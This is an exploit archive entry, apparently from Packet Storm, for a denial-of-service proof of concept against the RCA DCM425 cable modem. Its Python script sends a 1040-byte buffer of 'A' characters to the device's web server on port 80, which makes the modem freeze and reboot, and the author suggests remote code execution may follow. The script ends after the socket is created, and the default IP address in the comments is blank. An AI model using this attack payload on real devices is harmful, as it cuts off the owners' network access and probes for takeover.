RCA DCM425 Cable Modem Denial Of Service

Type packetstorm
Reporter ad0nis
Modified 2010-03-01T00:00:00


# Title: RCA DCM425 Cable Modem micro_httpd DoS/PoC  
# Date: 02/27/10  
# Author: ad0nis  
# Info: This script causes a Denial of Service on a DCM425 cable modem.  
# Sending 1040 bytes causes a reboot of the device after a few seconds  
# of it freezing up. I believe this may lead to remote code execution  
# but I did not bother to test it further.  
# By default, this cable modem has an IP address of  
# There are two different but similar models of this router, the only  
# difference I see between them is that one has an On/Off button on the  
# front. The one I discovered this on is the one without a button. I  
# have not tested this on the other model.  
# Thanks to ShadowHatesYou for the inspiration to look closer at the  
# little black box on my network.  
import sys, socket  
target = sys.argv[1]  
buffer = ( "\x41" * 1040 )  
print "Sending 1040 A's to" ,target, "on port 80\n"  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)